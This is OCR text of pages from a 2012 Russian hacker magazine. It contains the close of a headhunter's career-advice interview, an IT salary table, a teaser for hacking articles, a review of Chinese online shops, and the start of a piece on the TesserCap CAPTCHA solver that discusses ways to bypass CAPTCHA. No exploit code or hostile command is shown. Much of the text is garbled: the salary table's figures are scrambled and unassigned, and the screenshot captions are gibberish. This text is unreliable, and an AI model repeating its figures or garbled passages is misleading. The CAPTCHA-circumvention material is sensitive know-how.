Принцип «я продаюсь раз в три года» уже

не актуален. Мы продаемся всё время, мы все

-товар. Если завтра ко мне придут из Google

Интервью с ведущим хедхантером рунета

и скажут: <<Вот тебе доля в компании и не­

сколько миллиардов, иди делай собственный

НR-дивизион>> , я что, откажусь? Нет. Нужно

пони мать, что мир сейчас полон шансов. Шанс

может появиться в любой день, и очень важно

быть активным, чтобы повысить вероятность

этого. Хотя бы вести благ.

В случае с блогом важно пони мать, что он

может работать как на тебя, так и против.

Не надо писать: << Я умный и всё знаю, а вы уны­

лое говно! >> Нет! Благ может содержать даже

очень жесткую критику, но только конкрет­

ную и обоснованную. Например, можно

написать что-нибудь вроде <<этот интер­

фейс неправильный потому и потому,

а правильный должен выглядеть

так>> . Если при этом предложить

свой вариант, то будет вообще

идеально. Вы должны показы­

вать себя профессионалом.

Возможно, проект, который

вы только что критиковали,

вас и позовет.

Я сама довольно много и часто хантила

на технических конференциях. Я

мало что понимаю там на технической

секции, но вижу мальчиков с горящи­

ми глазами, задающих правильные

вопросы. Докладывает, к примеру,

Игорь Сысоев, а мальчик из зала за­

дает ему явно правильный вопрос- я

к нему подхожу, даю телефон и зову

к нам на тестирование. Даже если

я не до конца понимаю сам вопрос,

по реакции докладчика я вижу, что он

правильный.

Все более-менее приличные зарплаты, как

правило, закрыты определением «цена дого­

ворная». Есть причина- для них существует

вилка. То есть у HR в таком случае нет конкрет­ной установки <<мы нанимаем чувака за 90 тысяч рублеЙ >>. Поэтому они решают: а давайте

посмотрим чуваков в диапазоне от 60 до 120 тысяч. Если специалист будет очень хороший

-заплатим ему 150, если не очень-запла­тим 60. Вот в этой вилке они свободны.

СОВЕТЫСТУДЕНТАМ Еще несколько лет назад считалось, что

учиться и работать одновременно- хорошо.

Но если ты учишься в Бауманке и nри этом ра­

ботаешь в Макдональдсе-это плохо. Не могу

СЕГОДНЯ САМОЕ ПРЕКРАСНОЕ- БЫТЬ

ПРОГРАММ ИСТОМ. Bbl ПОНИМАЕТЕ ОСНОВЫ БИЗНЕСА,ОСНОВЫПРОФЕССИИ,ВАСЛЕГЧЕ

ВСЕГО ПОДНИМАТЬ И РАСТИТЬ

033

Page 36: Xakep 03_2012

COVERSTORY

сказать, что я зто осуждаю, ведь ситуации

у людей бывают разные, и иногда это просто

вопрос выживания.

Работать во время учебы крайне желательно

не ради денег, а для выбора того, чем зани­

маться в ~удущем . Это отличное время, чтобы

определиться с направлением дальнейшей

деятельности.

Далеко не все с первого раза нащупывают,

чего хотя т. Е сли, будучи студентом, ты меня­

ешь работу раз в три месяца- это не страшно.

Ты интуитивно нащуnываешь, чего хочешь . Что

самое важное : к последнему курсу ты должен,

поработав в разных местах и пройдя стажи­

ровку в разных компаниях, определиться, кем

ты хочешь быт ь. Услов н о говоря, «маркетинг

-не мое, верстка- не мое, а вот разработка

-да!>>. Вот это будет хорошо.

К окончанию учебы важно нарастить свою

техническую компетенцию. Или, продукто­

вую, если ты РМ, или маркетин говую, если

специализируешься на маркети н ге.

Есличеловекправильнодумаетиимеет

бэкграунд , унеговс~получится.Затакими

людьми гоняются крупные порталы и старта­

пы, набирающие обороты, - все!

Не стоит о собенно расс ч итывать на стажиров­

ку в большой компании. Все порталы пред­

лагают стажировки, но на деле не очень

любят брать стажеров, так как с ними

приходится возиться и устанавливать

для них неполный рабочий ден ь , что мало

кого устраивает.

У большинства порталов сейчас суще­

ствуют школы и ученические програ м ­

м ы . Например, у Яндекса есть Школа

анализа данных. Если хорошо пройдешь

такую программу и хорошо

отучишься, тебе с большой ве­

роятностью предложат работу.

Можно очень хорошо показать

себянаолимпиадах попрогра мми­

рованию. Они проводятся в Яндексе,

Mail.гu, Google- там ест ь специальные

подразделения для студентов . Если ты

хорошо себя показал, тебе сразу же сделают

предложение.

Студент, как н и странно, может сделать хоро -

ший стартап. Хороший не в плане успешности

с точки зрения бизнеса - потенциального

работодателя это мало интересует. Крупным

компаниям гораздо важнее увидеть в вас

человека, который мыслит в правильном

направлении и умеет кадить руками.

Порталам нужно всё, что связано

с техноло гиями, видео, мобильны-

ми платформами, социальными

сетями, - это основные вещи,

которые востребованы всегда

и всеми.

Чем может быть хорош

первы й стартап? П ока

вы учитесь, скажем , в Бауманке, вы

что-то делаете, вы пробуете. Вы смо­

трите и понимаете, что вам интересно,

набиваете первые ши ш ки.

Не надо о громного количества тусовок

вроде стартаперских. Люди там не ра­

ботают, они ходят и трындят ни о чем .

Ценность таких людей нулевая.

Меня пугают люди, которые в 19 лет заявляют: «Я специалист по формиро­

ванию бренда!>>

О СТАРТАПАХ Большинство стартаповна рынке- унылое

гов но . Именно поэтому у нас раз в полгода вы­

ходит рейтинг «30 лучших команд стар­тапав Рунета>>. Зачем мы его выпускаем?

Затем, что сейчас очень много «nены>>,

ведь рынок только развивается. И очень

важно объяснить молодому человеку, ко­

торый не всегда сам хорошо это понимает,

что не нужно идти в плохую компанию :

там обманут, ничему не научат и вообще

будет «стресс, ад и всё плохо>> .

Скажу страшное- не делайте

стартапы. Хотя нет, не так. Де­

лайте стартапы, но не связывай ­

те с ними свою основную карьеру.

Фактически ни у кого, кто начинал

свою карьеру со стартапов, ничего

не получ илось . Нужно быть гением уров ­

ня Цукерберга, но тогда и никакие правила

для вас вообще не действуют. Спасибо, что

вы просто есть! :1

Почему не п олучаются первые стартапы?

ДАЛЕКО НЕ ВСЕ С ПЕРВОГО РАЗА

НАЩУПЫВАЮТ, ЧЕГО ХОТЯТ. ЕСЛИ, БУДУЧИ

СТУДЕНТОМ, ТЫ МЕНЯЕШЬ РАБОТУ РАЗ В ТРИ

МЕСЯЦА-ЭТО НЕ СТРАШНО.

Потому, что люди н е предста вляют, каков

на самом деле интернет. Они не представляют,

что на самом деле нужно, а также не со ­

размеряют собственные силы и с редст ва.

Н е хва тает о п ыта, св я зей, те рп е н ия,

денег и всего п ро ч е го. Дел айте стартап ,

пока учитесь,- мы вас заметим.

Идите работать в большую,

серьезную компанию, где вас

научат качественному про­

граммингу, качественному

маркетингу. В ы просто

посмотрите наинтер н ет

не вз глядом студента,

не с н изу. Вы посмотрит е из того же

Яндекса, M ail.гu, из какой-либо за п а д­

ной компа н ии, то есть све рху. Пл юс вы

обрастете связями, ведь л юбой п о ртал

дает очень хорошую возможность об ­

расти связями.

У вас будут связи, у вас будет по­

нимание, вы обрастете костяком

команды. Н е будет в от это го: «Э т о мой

друг, я с ним пиво пил >>. Буде т другое:

<<Это офигенный программ ист, я с ним

работал в одном отделе, мы сошл ись

с ним на общей теме, и нам интересно общаться>>. У вас поя в ится какое-то коли­

чест во с в ободн ых денег- сей час в ру н ет е

хорошо зарабаты вают. Вам будет легч е под ­

нять инвестиции, если вы скажете: << Я три год а

программ ил почту в Я ндексе, а теперь у меня

есть вот такой проекп>. Вам, ско рее , дадут эти

деньги, потому что у вас ест ь некий п одт в е рж­

денный о п ыт и вы, вероятн о, действител ь н о

что-то сделаете.

Я считаю, что свои стартапы нужно делать по­

сле 28-29 лет, предварительно поработав.

Мы очень часто ищем людей для стартапов.

Мало компаний за это берется. У н ас есть ряд

программ, в том числе платная п ро грамма

со льготными расценками для стартапо в . Е сть

и бесплатная, совместно с Gгeenfield Pгoject.

Мы всё равно изначально оце н и ваем, насколь ­

ко старта п живучий. Если стартап нормал ь­

ный, но у него пока п росто н ет де н ег, ч тоб ы на м

платить, мы пиарим вакансию за счет своих

возможностей.

Стартапы на посевной стадии- это во многом

дело хантеров. Потому что риск на этапе реа­

лизации идеи минимален .

Главный риск всегда связан с командой.

Сделают эти люди проект или нет, смогут или

не смогут? Оценить всё это на старте, хеджи­

ровать эти риски чрезвычайно важно. П оэтому,

когда старта п ы тол ько на ч али зарождатьс я ,

агентство PRUFFI было п ер в ым, кто п о ш ел

оценивать всё это с точки зрения л юдей. М ы

очень много сделали в этом смысл е, поэтому,

конечно, нам было интересно изучить старта ­

пы изнутри. :К:

ХАКЕР 03/158/2012

Page 37: Xakep 03_2012

Зарплаты специалистов [1 сентября-1 декабря 2011 года]

РАЗРАБОТЧИКИ

Профессия \опыт работы

Team leadeг

Разработчик под ппатформы

Andгoid, iOS

Разработчик Регi/РНР

Разработчик Ruby on Rails

0-3 года

40 000- 80 000 30 000- 70 000.

СИСТЕМНЫЕ АДМИНИСТРАТОРЫ

Профессия \опыт работы

Ведущий Windows администратор

Unix,Linux admin

DBA (Огасlе, MySql, Postgгes и т.д.)

Руководитепь группы

системных администраторов

GAME ИНДУСТРИЯ

Профессия 1 опыт работы

Неб-разработчик

Flаsh-разработчик

Game ргоduсег

0-3 года

30 000 - 50 000

30 000 - 60 000 20 000 - 60 000 •

'о ооо -80 ооо 40 000 - 80 000 •

0-3 года

востребованность осталась на прежнемуровне

- востребованность увеличилась более чем на 50 %

ХАКЕР 03/158/2012

ЦВЕТ

3-5 пет

70 000- 150 000 70 000- 180 000 .

3-5 пет

50 000 - 70 000

60 000 - 90 000 60 000 - 90 000 •

80 000 - 130 000 80 000 - 130 000.

90 000- 150 000 90 000- 150 000.

3-5 пет

5-10 пет

170 000 - 250 000 180 000- 250 000.

5-10 пет

80 000 - 100 000

90 000- 110 000 90 00 0 - 110 000 .

130 000- 150 000 130 000 - 150 000 .

150 000- 180 000 150 000- 180 000 .

5-10 пет

востребованность увеличилась менее чем на 50 %

востребованность уменьшилась менее чем на 50 %

бопее10 пет

250 000 - ... 250 000 - ...•

бопее10 пет

100 000 - ...

110000- ••• 130 000 - 150 000 .

150 000- 180 000 150 000 - 180 000 *

180 000- 250 000 180 000- 250 000 .

бопее10 пет

• Заработная

плата прошлого

квартала

035

Page 38: Xakep 03_2012

Preview PCZONE

ВКИТАЙЗАПОКУПКАМИ? 38 tотни тысяч товаров по самым низким

ценам - где еще ты найдешь такое

предложение, если не в китайских

интернет-магазинах? Такого нет даже

наеВау!Близостькпроизводствуи

огромная конкуренция играют на руку

покупателям. Из Китая можно за казать

самого черта и по самой низкой цене.

При этом тебе не нужно морочиться с

оплатой доставки - все издержки берет

на себя продаве ц . Мы подготовили

длятебяобэорпровере н ныхторговых

площадок, где приобести интересую­

щий товар ты можешь с минимальным

риском. Обсудим мы и важные советы по

онлайн - пок у п ка м с учетом специфики

поставщиков из Поднебесной.

PCZONE

ПРОВЕРКА НА ПРОЧНОСТЬ

Наша задача-автоматизированно

решить САРТС Н А. Как это сделать без

реализации фильтров, сложн ых нейрон­

ных сетей и ОСR-систем?

взлом

036

ФАЛЬШИВЫЕ СМ(

Партерка-при м ан ка-подписка- взгляд

изнутри о том, как устроены и на чем

зарабатывают многочисленные СМС­

лохотроны.

33 страницы журнала на одной полосе. Тизер некоторых статей .

взлом

ФРЕЙМВОРКДЛЯХАКЕРА Анализ структуры сайта, брутфорс форм,

поиск уязвимостей, эксплуатация дырок,

обход 105 -лишь малая часть того, н а что

способны плагины проектаwЗаf.

MALWARE

• ВЕСЕЛАЯ ТРОЙКАБУТКИТОВ Самыетехнологичныеугрозы 2011 года в веселых картинках. Кто из разработчиков

малвари удивил антивирусных аналити­

ков больше всего? •

1 CANCRACKIT! Управлениеправительственнойсвязи

Великобританиинедавноопубликовало

задачки для хакеров. Мы решили их по­

смотреть и заодно решили.

МАЛВАРЬДЛЯ МОБИЛЬНЫХ ОКОШЕК

Вирусовдля Windows Phone 7.5 пока нет. Но появятся ли они в будущем?

Разбираемся во внутренностях новой

мобильной ОС от Microsoft.

ХАКЕР 03/158/2012

Page 39: Xakep 03_2012

А АnьФа·Банк

Оформить дебетовую или кредитную «Мужскую карту» можно в отделениях

ОАО «Альфа-Банка», а так же заказав по телефонам:

(495) 229-2222 в Москве 18-800-333-2-333 в регионах России (звонок бесплатный) или на сайте

www.mancard.ru

(game}land

Page 40: Xakep 03_2012

PCZONE Роман Володин (biohedge!Ogmail.coml '

Кита

СЕМЬ КИТАЙСКИХ ИНТЕРНЕТ­МАГАЗИНОВ СО ВСЯКОЙ ВСЯЧИНОЙ

Где максимально дешево можно купить планшетник на Aпdгoid?

Или осциллограф? Или, к примеру, лазер? А запчасти для разбитого

смартфона? Да там же, где и десятки тысяч других самых разных

товаров, которые в огромных количества х штампуются в Поднебесной,

-в китайских интернет-магазинах. И, что важно, по самым

доступным ценам .

MADE IN CHINA Три знакомых слова <<Made in China >> давно обос н авались на о гр ом н ом количестве все­

возможных товаров, в особенности на технике.

Гл у по было бы предполагать, что рядом с про­

изводством не появятся огромные интернет­

магазины, где всё это добро можно купить

по максимально ни зкой цене. Думаю, многие

слышали о наиболее раскрученном магазине

- DeaiExtгeme.com, - даже если еще ничего

в н ем не заказывали. Н о подобных магазинов

довольно много. Сегодня я хочу рассказать

о нескольких из них- тех, с которыми имел

дело либо я сам, либо мои друзь я. Сразу хочу

предупредить, что выбор магазина- вопрос

субъективный. Перед любой покупкой обяза­

тельно почитай отзывы и имей в виду- все гда

есть не которая вероятность, что посылка

потеряется , что товар окажется бракованным,

что в коробку положат что-то не то или соберут

комплект не полностью- такое случается

везде, без исключений. Н о за те цены, которые

предлагают подобны е ма гази ны , многие гота·

вы с этим мириться. П риступ им?

ХАКЕР 03/158/ 2012

Page 41: Xakep 03_2012

В Китай за поку пками ?

FocaiPrice.com Категории товаров: eJ~EJ~ R:>ealprice ·~.;о

R ICQQJнн• r Q>On!IID!lh

0Ь06p3'n>I0Тef'CipMtO • ;\'\ HOOIIHI(H Бестсе/VIеры ,., Сnецнаnьные nредnоження Dropshlpplng Оrзыsы В14део Форуны

Способы оплаты: PayPar€'

[не для всех товаров]

Срок доставки: от 14 до 25 дней ............. Дmi~'IG~Ait

Иrруwкм Хо6бм ЧiКIII

АатомОбмnW~wе <11(Q!(CyitPW

~ ./ возврат стонмоаи

в теценне 90 дней ./ t,есплатый ремоlfТ

о rечеине 18Dдней

&с8АН•-•• СкмАQ Q :zo М 42. S

613 CIUI8A-Й КQ,ц-1'1 Ст1:рео Н.'(IUHMK

Чi!:ltOJiдii•IPidiCI:IoopH I!: Мotorola59B~

~US$7.49 ~USSl

Мобильные телефонw Аксессуары Apple Комn1>10теры и конме Фотоаnnвратw " емео

• Те~~еФо- .u~ Androtd • Ч~wмll.ei\cw • 1'\nанwе'"..м: nк м нoYJfi • МР3 НР-4 м MPS ~

Один из лидеров китайской электронной

коммерции предлагает более 70 000 наимено­ваний товаров в почти 100 категориях [гадже­ты , аксессуары к ним и так далее] . По край­

н ей мере, так он сам заявляет. Проверить эти

данные сложно, но то, что здесь можно найти

самого черта,- это точно. В ассортименте

магазина имеются копии именитых б рендав

[ох уж эти китайцы], телефоны и оргтехника вполне приемлемого качества [судя и по лич­ному опыту, и по отзывам] .

• TUie:ФO- С tl!:tCC\PНWOI

• Qwerty тt,!J~eФOttw

• Аксео:уl""'~~

• КА&еllммде.Р*о'те/IМ

• Aa'nмtollмn ... welк(I!C(y • ltJwo8м.rypw .. ttWWIUII • Нio'(IUHIUtM

• 1Ca6e/ltt ., npeo6pa:JO•aтe • Alc.cy"YII•ro~ к :IAPI'Att

Первое, что привлекло меня при знаком­

ст ве с магазином, - это цены. У некоторых

товаров они были ниже, чем на еВау [да-да, китайцы продают немало своего товара

и на западном аукционе, но мы этот момент

рассматривать не будем]. Как оказалось поз­же, возможность продавать по ценам ниже

рыночных обусловлена территориальной бли­

зостью магазина к заводам -изготовителям.

Более того, «Фока л >> открыто предлагает

оставить на форуме магазина сообщение

о том, что ты нашел какой-либо из това-

ров дешевле,- в таком случае цена будет

пересмотрена. Посетителям также доступен

раздел со спецпредложениями, которые

отсортированы по ценам, начиная от одного

доллара. Для сомневающихся или новичков

~Оnоеещения ~в,-...-..-·--

этот раздел может служить <<nесочницей>>,

где можно купить прикольную мелочевку

и присмотреться к сервису, не тратя значи­

мых сумм.

Каждый товар имеет описание, рейтинги

и отзывы, которые помогут сделать выбор .

Для оплаты можно использовать PayPal. С недавних пор FocaiPrice стал принимать и WebMoney, но пока не для всех товаров .

Магазин часто проводит различные акции,

а для некоторых предложений есть ски­

дочные купоны, коды которых можно найти

в интернете.

Что касается доставки, то она бесплатная,

ШЕСТЬ СОВЕТОВ ДЛЯ НАЧИНАЮЩИХ

1. Купоны- это отличная возможность сэкономить немного денежек . Причем получить код купона

совсем не сложно: их раздают на сайтах вроде гeta il menot .com [крупнейший, но англоя зы чный

ресурс] , chinaprices.гu , а также в тематических сообществах . В конце концов, можно банально

вбить в поисковик <<куnон на скидку <ИМЯ магазина»> .

2. Чтобы быстро найти интересующий тебя товар и сравнить цены, можно nоnробовать сначала

восnользоваться специализированными nоисковиками. Например seaгchsku.гu ищет

по двадцати разным магазинам. Такой же сервис есть и на сайте ch i napгices.гu .

3. Перед покупкой не поленись полазить по форумам, nочитать информацию о том или ином

магазине- это может здорово nомочь . Изучай nлощадки. Изучай, изучай и еще раз изучай.

Сообществ шоnоголиков сейчас хватает - к примеру, форумы ebay-foгum.гu и mySku.гu .

4. Если вдруг произошла какая-то накладка [допустим, nри отправке , доставке] или есть вопросы

по ассортименту- не стесняйся писать в поддержк у. В штате некоторых магазинов даже есть

русскоговарящие сотрудники.

5. При оплате заказа нужно исnользовать только nроверенную платежную систему. В большин стве

случаев это PayPal . Некоторые китайские магазины поддерживают WebMoney и даже Qiwi, но, тем не менее, я рекомендую использовать PayPal- они оче нь ловко умеют решать проблемы

с нерадивыми продав цами.

6. Терnение, терnение и еще раз терnение. Заказывая через интернет, нужно быть готовым

подождать. Заказ могут долго формировать, долго отправлять, а затем задержать на таможне

или на каком-нибудь этапе работы многострадальной П очты России.

ХАКЕР ОЗ /158/ 2012

• Сец:- o6opyAOfla-

как у почти всех магазинов такого плана.

Впрочем, доставка, как и везде, может затя­

нуться. Обычно посылка при ходит не раньше ,

чем через две недели. Если ты сделаешь за­

каз свыше $20, то <<Фокал>> любезно привяжет к твоей посылке трек-номер для отслежива­

ния статуса отправления .

В целом ресурс оставляет приятное впе­

чатление , но, судя по отзывам, и он не лишен

в сех стандартны х проблем <<ки тайски х>> магазинов: задержки, недокомплект, несоот­

ветствие характеристикам.

КАТЕГОРИИ ТОВАРОВ

Dl Мелкая ~ Товары для электроника дом а

r::] Товарыб;ля u Игрушки автомо иля

fl Сувениры ~ Часы

11 Бижутерия 6 Спортивные товары

а Товары для D Одежда здоровья

I!J Товары для м Музыкальные детеи инструменты

СПОСОБЫ ОПЛАТЫ

PayPal· PayPal

weьmoney ~;;. WebMoney

Qiwi

Кредитные карты

039

Page 42: Xakep 03_2012

PCZONE

Dealextreme.com Категории товаров:

Способы оnлаты: РауРаГ -

Срок доставки: ОТ 21 ДО 40 Д НеЙ

Сложнонеупомянутьодинизсамыхизвес~

ны х китайских магазинов- DeaiExtгeme .com .

Свой первый опыт покупки в китайских

интернет-магазинах я получил именно здесь.

Чего я только не заказывал: и защитные

пленки, и батарейки, и фонарики, и экран для

телефона, и всевозможные аксессуары. Рас­

сказывать тут особенно и нечего: этот ресурс

уже опробовали тысячи людей. Основное на­

правление магазина- гаджеты, представлен­

ные в астрономических количествах и по очень

привлекательным ценам. Есть двухдолларо­

вая зона для мелочевки, разделы новинок

и с пецпредложений . Аналогично TiпyDeal ,

ресурс предлагает зарабатывать и копить

бонусные баллы, публикуя описания или видео

к товарам. Выполнить оплату клиент может

через PayPa l или с п омощью кредитной карты ,

при этом за доставку никто ничего не возьмет.

Tinydeal.com Категории товаров:

Способы оплаты: РауРаГ -

Срок доставки: ОТ 7 ДО 25 днеЙ

В ассортименте онлайн-магазина пред­

ставлены электроника, уникальные гаджеты

и множество самых разных товаров , причем

каждый месяц появляется несколько тысяч

новинок . Для каждой позиции представлены

подробное описание, рейтинги и отзывы,

а иногда видео и русскоязычные коммен­

тарии. Порадовал также онлайн-чат, где я

смог быстро получить ответы на интере­

сующие меня вопросы, причем на русском

языке. На сайте есть раздел спецпредло ­

жений с еженедельными скидками, а также

пятидолларовая зона для мелких товаров.

Цены более чем приемлемые , дополнительно

винтернетеможно найти купоны на скидки

[5-7%1. Плюс ко всему прочему есть воз­можность по купать товары за баллы [так

называемые ТО Poiпtsl , которые начисляются за публикацию комментариев и обзоров .

Приятный бонус- при заказе на сумму

свыше $200 тебе предложат выбрать один из нескольких возможныхнебольших по-

01,0

Hom8 $2 Gadgeta New Arr1vats :\\ Oeals ~ Тор Sellll"' Ordar Tracklng Foruma * ~ews - SDC..'(I,>INd;I"'IO>e~~Digl:.lloU~m« .. ,LCOOI;;.!Iy~,I......._C!>

с---~ • ..... • ._"" "EISV 10 Say, fosy ta S1~~· • STAAS ol OIC VJdeo Cont~5t "-"с o;ome outl а - IJ t. a_

_ . ._

-~., ...... -·--·--·---Adulr.Toyi(Нot]

- C.rtiolder S~eJ НOunl for iPI>one4/ 45 - !lll(lr.

USB Ooclr.lng Statlon Chllrgerwolt\US8

Dat.a/~rglngcaЫeror

E271.SW65001<158· LumenЗO·I..!OWMe

l..iohl Bulb (АС

CII~CitiveScreen TouchlngК.ndWormer

Gloves • BI.adc(PII<-)

Отследить отправление можно по тр ек-номеру,

который предоставляется бесплатно пр и за­

казе свыше $15. Учиты вая собственный опыт и отзывы на форумах, можно резюмировать:

Dealextгeme- достойный магазин, у которого

всего один недостаток: серьезная медлитель­

ность [посылку можно ждать больше месяца!,

t:::::::"' ..._,."_. IPhoм, 1~ м lhd

....._.. -.д_,. .. ~~:-- .. Кр-. .. ,,.._

Дрн м Dфме

Иrp'f\IU!IIIIxa66tl Лидеры продаж

что связано с громадным количеством заказов .

Итог: один из самых раскрученных мага­

зинов. Но если тебе нужно получить товар как

можно быстрее, то лучше воспользоваться

другим ресурсом, особенно это касается людей,

которые занимаются дропшиппингом [посред­ничеством!.

" о

';..[ 1Toup (08)

.._ .. дi)uOЦIItlltOCПO )

Cnopflla'I'AWX

~tl:li'lqi-U ~ зa,.,s--c.u..aw

дарков. Помим о Pa yPal, к оплате принима­ются кредитные карты и WеЬМопеу. Впро­

чем, я все равно настоятельно рекомендую

осуществлять все сделки через PayPal- зто

более надежно, легче оспорить транзакцию .

К тому же на оплату картами сейчас действу­

ет ограничение в $150. Доставка в любую точку мира бесплатна.

Посылка идет, как и везде,две-три недели [бы­вает, что доходит и за неделю, но это случается

редко!. Трек-номер для отслеживания посылки

выдается при заказе свыше $35, но тут есть

один нюанс: если в твоем заказе несколь-

ко товаров, то для получения бес платн ого

треки н г-номера цена хотя бы одного из них

должна быть выше $20. В противном случае за треки н г придется доплатить $2-3. Первой моей покупкой в этом магазине был телефон,

и всё прошло как нельзя лучше.

Вывод: отличны й магазин с широким ас­

сортиментом, адекватные сервис и поддерж­

ка - например, если при получении чего-то

не хватает, то после обращения обычно без

проблем высылают недостающее .

ХАКЕР 03/158/2012

Page 43: Xakep 03_2012

Pandawill.com Категории товаров: m D м Способы оплаты : РауРаГ -

Срок доставкiА: от 25 до 35 дней

Еще один китайский интернет-магазин, ко­

торый мало ч ем выделяется среди конкурен ­

тов. Н о, на мой взгляд, магазин максимально

адаптирован для русскоговарящих покупате­

лей. Судя по отзывам, се годня он один из лиде­

ров по числу продаж в страны СНГ. Н а форуме

сайта доступен активный русскоязычный

раздел, а представитель магазина часто

встречается с потенциальн ыми п окупателями

на тематических русских форумах- короче

говоря, саппорттут отмен ный. Из заметных

преимуществ магазина- наибольший ассор ­

тимент телефонов (в том числе и с за косом

под популярные марки ! . Один мой знакомый при обрел в Pa ndawill популяр ную китайскую

модел ь телефона и остался доволен как самой

покупкой, т а к и быстрой доста в кой, кото рая

заняла всего десять дн ей. Советую не забыть

про раздел распродаж- там де йствительно

можно найти очень дешевые товары . Оnлата

через PayPal или картами Visa и Master Сагd,

причем можно получить заметную ски дку

по купону. До ставка будет бесплатной. Един­

стве нное, что мне не понравилось,- усл овие

В Китай за покупками?

МоА uкаукт Ht'lp [] RSS - Ruulan 1 USD

Ht llo , Sign ln Or 1'8g1stor

Поисхаn. мсь мага1мн 3Д8СЬ Поиск n live &'М ( i ~~~' 1611 коо,..а(О)

~~·...----.....,....,..,.~ -~ ~ - -~ AxceccyapAppie С0Т08Ы1611Теnефон Пn11W8T Дolol Мода Од8*д8Д8Т8Й ХО1,1ПЫОТ8р fJflЬi;(ё~ НС18НН1М 6р3НАW BceiCaТ8ropt81'"'

All Free Shipping! -

~* ' <:" ПРАЗрНИЧНЫЕ КОДЫ КУПОНОВ: Подробнюи '\. ' "~· - P~NDAWILLB0-5, PANDAWILL150-10, PANDAWILL200-15, PANDAWILLЗ00-30, PANDAWILL400-50, PANDAWILL500;~5 -

Прямь1е nоставки/Опт Дflillj)a)МOЩotiiUI»-IIInpRIIIYIO IIOCTHI()IIo\IJolont,~\QfфoptoiOЦiolll, фотоrрефt~А roupoe 503 noro Pandow'l.

м:r.с 'Фi'·!J!:W

Все о последних новинках nодпис•mься сеичвс?

Вынrраrь Бесплатные ЛOAiJPKII

Тол•ко An• Лю6мтепейl

Популярные товары Новинки # Распродажа

Мода Пnаншаты

ПniMU/e'fP!oo!Й IIONI!bwn.p Alno1Novo7Aurora

Arldtokl4.0 HrfACHIIPS Экр111 8GB 1GB RАМ

US$115.99

предоставления бесnлатного трек-номера: его

можно получить только nри заказе на сумму

свыш е $50 (тут по сравнению с конкуре нтам и

« Панда >> явно проигрываетl.

Отправьте нам фотографию вawero малыwа

н nолучите nодаро~е

Topon~necьl

Коnичес:тео

Общее впечатлени е: отличный китайский

магазин для русскоязычного пользователя,

хотя и не с самыми ни зкими ценами на попу ­

лярные товары.

ТРИ ДОПОЛНИТЕЛЬНЫХ МАГАЗИНА

NOWSUPPLIER.COM

Категории товаров: m ~Е] fj 6 Способы оплаты: PayPar -

Срок доставки: от 7 до 25 дней

Многие люди успешно nриобретали в этом

магазине планшеты и прочие гаджеты ,

но у меня был печальный опыт: заказав

и оплатив телефон, я получил модель с

урезанным функцианалом (на $30 дешевле)

и не того цвета . Печален даже не сам факт

отnравки не той модели, а то, что все попытки

как-то решить проблему не увенчались

успехом. Возможно, через PayPal было бы

проще открыть диспут, но не факт.

ЗАКЛЮЧЕНИЕ В заключен и е хочется до ба вить , что один и тот

же товар может быть во многих магазинах,

но по разным ценам. П озтому сначала сравни

и только потом совершай заказ. Не поленись

поискать в Сети куnоны на скидку, с ними

ХАКЕР 03/158/2012

MERIMOBILES.COM

Категории товаров: m ~ Способы оплаты: PayPal -

Срок доставки: от 14 до 25 дней

Интернет-магазин от предприимчивы х

американцев. Посылки приходят из Китая ,

хотя в поддержке работают одни << штатовцы >>.

Заказывал у ни х по мелочи- чехол , ЗG-модем

и стилусы . Как у всякого уважающего себя

китайского магазина, оплата через Pay-

Pal и бесплатная доставка nрисутствуют,

но nосылки отправляют обычной почтой и без

трекинга .

можно сэкономить . Если товар без отзывов­

обязательно уточняй комплектацию и харак­

теристики : нередко присылают нечто отличное

от указанного в описании. Чтобы максимально

обезопасить себя, оплату лучше проводить

через PayPal. В случае проблем обязательно

BUYINCOINS.COM

Категориитоваров: m~во

Способы оплаты: PayPal· -

Срок доставки: от 7 до 25 дней

Порадовала весьма быстрая lи, кстати,

бесnлатная) доставка , особенноучитывая

nредновогодние дни. По широте ассортимента

сайт не уступает конкурентам. Из нареканий

-только периодические лаги сайта. Если

бы не. зто, то магазин занял бы достойное

место рядом с моими фаворитами FocaiPгice

и TinyDeal .

обращайся в службу поддержки. Н е забывай :

китайские интернет-магазины лишь для тех,

кто может ждать . Е сли что -то нужно здесь и

сейчас, то лучше сюда даже не заглядывать. И

главное правило: тот, кто ищет, всегда найдет.

Удачных покупок' ::Х::

Page 44: Xakep 03_2012

PCZONE Гурсев Сингх Калра 1 gursev.kal ra!a foundstone.com 1

ка н ость

ТЕСТИРУЕМ УНИВЕРСАЛЬНУЮ РАСПОЗНАВАЛКУ САРТСНА

Есть ра з ные способы для обхода

САРТСНА, которыми защищены

с а йты . Во - первых , существуют

с п е ц и альные сервисы,

которые и спользуют дешевый

ручно й труд и бу квально за $1 предлагают решить 1000 капч. В качестве альтернативы

РЕШИТЬ САРТСНА Рас п озна в а н ие СА РТС Н А - задача чаще в сего

нетривиальна я . Н а изображение необходимо

накладывать массу разл ичных фильтров, что­

бы убрать искаже н ия и п омехи, которыми раз­

работчики желают укрепить стойкость за щ ит ы.

Зач а стую п риходится реализо в ывать обучае ­

мую систему на ос н ове нейронных сетей [зто,

к слову, не так сл ожно, как может показать­

ся], чтобы добиться п р иемлемого результа т а

по автоматизиро в анному р ешению капч. Чтоб ы

понять, о чем я говорю, лучш е п од нят ь архи в

и прочитать замеч ател ь н ые ста т ьи <<Взл ом

САРТС Н А: теория и практ ика. Разбираемся,

как л омают ка п чи» и << П одсмот рим и рас п озна-

ем. Взлом Сарtс hа-фи л ьтров» из #1 35 и #126 номеров соответст венно. Сегодня же я хочу

ра сс казать тебе о разработке TesseгCap, кот о ­

рую автор называет универсальной решалкой

САРТСНА. Любопытная штука, как ни крут и.

ПЕРВЫЙ ВЗГЛЯД НА TESSERCAP Что сделал автор п ро граммы? О н посмотрел ,

как обычно подходят к п р облеме автоматизи­

ро в ан н ого решения САРТСНА и по п робовал

обобщить этот опыт в одном и н струмент е .

Автор заметил, что для удаления шумов с изо ­

браже н ия, т о ест ь реше н ия самой слож н ой

задачи при распознавании капч, чаще все г о

применяются одни и те же фильтры. П олучает-

м ожн о попробовать написать

и нтелле ктуальную с и стему,

которая по определенным

алгори тм а м будет сама

выполнять распознавание .

Последнее теперь можно

р еал изовать с по мощью

с пециальной утилиты .

САРТСНА Обработанная САРТСНА Распознанный

текст

HMLR

Схема анализа САРТСНА-изображени й с помощью TesserCap

01,2 ХАКЕР 03/158/2012

Page 45: Xakep 03_2012

с я, что если реализовать удобный инструмент,

позволяющий без сложных математических

преобразований накладывать фильтры на изо ­

бражения, и совместить его с ОСR-системой

для распознавания текс т а, т о можно получить

вполне работоспособную про грамму. Это,

